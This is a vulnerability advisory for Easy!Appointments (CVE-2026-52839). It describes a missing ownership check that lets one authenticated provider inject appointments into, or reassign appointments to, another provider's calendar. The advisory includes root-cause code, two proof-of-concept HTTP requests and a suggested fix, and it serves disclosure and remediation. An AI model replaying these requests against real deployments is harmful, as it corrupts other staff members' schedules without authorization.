GHSA-W8XC-8G92-V77H

Vulnerability from github – Published: 2026-07-29 16:26 – Updated: 2026-07-29 16:26
VLAI
Summary
Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass
Details

Summary

Easy!Appointments correctly filters provider-scoped appointments in the appointments/search response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints appointments/store and appointments/update only check generic appointment privileges and never verify that the submitted id_users_provider belongs to the current session.

A normal authenticated provider can inject new appointments into another provider's schedule via store, or reassign existing appointments into a foreign provider's calendar via update. The store path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.


Root Cause — Step by Step Code Flow

Step 1 — Search correctly enforces provider isolation

The search endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary:

// Appointments.php
if ($role_slug === DB_SLUG_PROVIDER) {
    foreach ($appointments as $index => $appointment) {
        if ((int) $appointment['id_users_provider'] !== (int) $user_id) {
            unset($appointments[$index]);
        }
    }
}

Step 2 — store() only checks generic add permission

The store endpoint checks only whether the caller can add appointments in general — no provider ownership check:

// Appointments.php line 74-152
if (cannot('add', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}

$appointment = json_decode(request('appointment'), true);

Step 3 — Attacker-controlled id_users_provider saved directly

The controller whitelists and persists the appointment including the attacker-controlled provider ID:

$this->appointments_model->only($appointment, $this->allowed_appointment_fields);
$appointment_id = $this->appointments_model->save($appointment);

No check is performed to verify id_users_provider matches the current session.

Step 4 — Write-before-crash on store()

After the unauthorized row is committed, the controller crashes on a type error:

$appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id

The attacker receives a 500 error response, but the foreign appointment row is already in the database.

Step 5 — update() has the same missing ownership check

The update endpoint also accepts attacker-controlled id_users_provider with only a generic edit permission check:

// Appointments.php line 178-196
if (cannot('edit', PRIV_APPOINTMENTS)) {
    abort(403, 'Forbidden');
}

$appointment = json_decode(request('appointment'), true);
$appointment_id = $this->appointments_model->save($appointment);

A provider can reassign any appointment they can edit into a foreign provider's calendar.


Proof of Concept

Attacker: Provider with session ID 4 Target: Foreign provider with ID 2

Step 1 — Inject appointment into foreign provider's schedule:

POST /index.php/appointments/store HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded

csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 500 Internal Server Error — type error on find()

But the row is committed:

id  start_datetime        id_users_provider  notes
6   2026-05-29 15:00:00   2                  foreign provider create by alicer

Provider 4 created a row that belongs to provider 2.


Step 2 — Reassign existing appointment to foreign provider:

POST /index.php/appointments/update HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <provider-4-session>
Content-Type: application/x-www-form-urlencoded

csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1}

Response: 200 OK

Result: Appointment 7 now belongs to provider 2 instead of provider 4.

Runtime verification result:

attacker provider id:                    4
foreign created appointment provider id: 2
reassigned appointment provider id:      2
provider-visible appointments:           0
PASS

The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider.


Real World Impact

In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can:

  • Inject fake appointments into a colleague's schedule causing confusion and double-bookings
  • Move their own appointments into another provider's calendar to hide or offload them
  • Disrupt scheduling integrity for staff and customers
  • Create unauthorized appointments that customers and admins attribute to the wrong provider The write-before-crash bug in store() makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.

Suggested Fix

In store() and update(): Enforce that id_users_provider matches the current session provider ID for non-admin roles:

if ($role_slug === DB_SLUG_PROVIDER) {
    $appointment['id_users_provider'] = $user_id; // force own provider ID
}

Fix the write-before-crash bug in store():

$appointment_id = $this->appointments_model->save($appointment);
$appointment = $this->appointments_model->find($appointment_id); // use ID not array

Reporter

Yash Shendge (ashrexon) 2026-05-25

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.2"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "alextselegidis/easyappointments"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52839"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T16:26:25Z",
    "nvd_published_at": "2026-07-14T16:17:00Z",
    "severity": "LOW"
  },
  "details": "## Summary\n \nEasy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session.\n \nA normal authenticated provider can inject new appointments into another provider\u0027s schedule via `store`, or reassign existing appointments into a foreign provider\u0027s calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted.\n \n---\n \n## Root Cause \u2014 Step by Step Code Flow\n \n### Step 1 \u2014 Search correctly enforces provider isolation\nThe `search` endpoint filters out appointments belonging to other providers \u2014 proving provider isolation is an intended boundary:\n \n```php\n// Appointments.php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    foreach ($appointments as $index =\u003e $appointment) {\n        if ((int) $appointment[\u0027id_users_provider\u0027] !== (int) $user_id) {\n            unset($appointments[$index]);\n        }\n    }\n}\n```\n \n### Step 2 \u2014 store() only checks generic add permission\nThe store endpoint checks only whether the caller can add appointments in general \u2014 no provider ownership check:\n \n```php\n// Appointments.php line 74-152\nif (cannot(\u0027add\u0027, PRIV_APPOINTMENTS)) {\n    abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n```\n \n### Step 3 \u2014 Attacker-controlled id_users_provider saved directly\nThe controller whitelists and persists the appointment including the attacker-controlled provider ID:\n \n```php\n$this-\u003eappointments_model-\u003eonly($appointment, $this-\u003eallowed_appointment_fields);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nNo check is performed to verify `id_users_provider` matches the current session.\n \n### Step 4 \u2014 Write-before-crash on store()\nAfter the unauthorized row is committed, the controller crashes on a type error:\n \n```php\n$appointment = $this-\u003eappointments_model-\u003efind($appointment); // array passed instead of $appointment_id\n```\n \nThe attacker receives a 500 error response, but the foreign appointment row is already in the database.\n \n### Step 5 \u2014 update() has the same missing ownership check\nThe update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check:\n \n```php\n// Appointments.php line 178-196\nif (cannot(\u0027edit\u0027, PRIV_APPOINTMENTS)) {\n    abort(403, \u0027Forbidden\u0027);\n}\n \n$appointment = json_decode(request(\u0027appointment\u0027), true);\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n```\n \nA provider can reassign any appointment they can edit into a foreign provider\u0027s calendar.\n \n---\n \n## Proof of Concept\n \n**Attacker:** Provider with session ID `4`\n**Target:** Foreign provider with ID `2`\n \n**Step 1 \u2014 Inject appointment into foreign provider\u0027s schedule:**\n \n```http\nPOST /index.php/appointments/store HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"start_datetime\":\"2026-05-29 15:00:00\",\"end_datetime\":\"2026-05-29 15:30:00\",\"notes\":\"foreign provider create by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `500 Internal Server Error` \u2014 type error on find()\n \n**But the row is committed:**\n```\nid  start_datetime        id_users_provider  notes\n6   2026-05-29 15:00:00   2                  foreign provider create by alicer\n```\n \nProvider 4 created a row that belongs to provider 2.\n \n---\n \n**Step 2 \u2014 Reassign existing appointment to foreign provider:**\n \n```http\nPOST /index.php/appointments/update HTTP/1.1\nHost: 127.0.0.1:18094\nCookie: \u003cprovider-4-session\u003e\nContent-Type: application/x-www-form-urlencoded\n \ncsrf_token=\u003ctoken\u003e\u0026appointment={\"id\":7,\"start_datetime\":\"2026-05-30 09:00:00\",\"end_datetime\":\"2026-05-30 09:30:00\",\"notes\":\"reassigned to provider 2 by alicer\",\"id_users_provider\":2,\"id_users_customer\":3,\"id_services\":1}\n```\n \nResponse: `200 OK`\n \n**Result:** Appointment 7 now belongs to provider 2 instead of provider 4.\n \n**Runtime verification result:**\n```\nattacker provider id:                    4\nforeign created appointment provider id: 2\nreassigned appointment provider id:      2\nprovider-visible appointments:           0\nPASS\n```\n \nThe attacker\u0027s appointment search returns 0 results because both proof appointments now belong to the foreign provider.\n \n---\n \n## Real World Impact\n \nIn a multi-provider Easy!Appointments deployment \u2014 a clinic, salon, or service business with multiple staff members \u2014 any authenticated provider can:\n \n- Inject fake appointments into a colleague\u0027s schedule causing confusion and double-bookings\n- Move their own appointments into another provider\u0027s calendar to hide or offload them\n- Disrupt scheduling integrity for staff and customers\n- Create unauthorized appointments that customers and admins attribute to the wrong provider\nThe write-before-crash bug in `store()` makes detection harder \u2014 the attacker receives an error response that may appear harmless while the unauthorized record is silently committed.\n \n---\n \n## Suggested Fix\n \n**In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles:\n \n```php\nif ($role_slug === DB_SLUG_PROVIDER) {\n    $appointment[\u0027id_users_provider\u0027] = $user_id; // force own provider ID\n}\n```\n \n**Fix the write-before-crash bug in `store()`:**\n \n```php\n$appointment_id = $this-\u003eappointments_model-\u003esave($appointment);\n$appointment = $this-\u003eappointments_model-\u003efind($appointment_id); // use ID not array\n```\n \n---\n \n## Reporter\n**Yash Shendge (ashrexon)**\n2026-05-25",
  "id": "GHSA-w8xc-8g92-v77h",
  "modified": "2026-07-29T16:26:25Z",
  "published": "2026-07-29T16:26:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w8xc-8g92-v77h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/725eafa647308846ce887657db12771a829e42ef"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection \u2014 Authorization Bypass"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…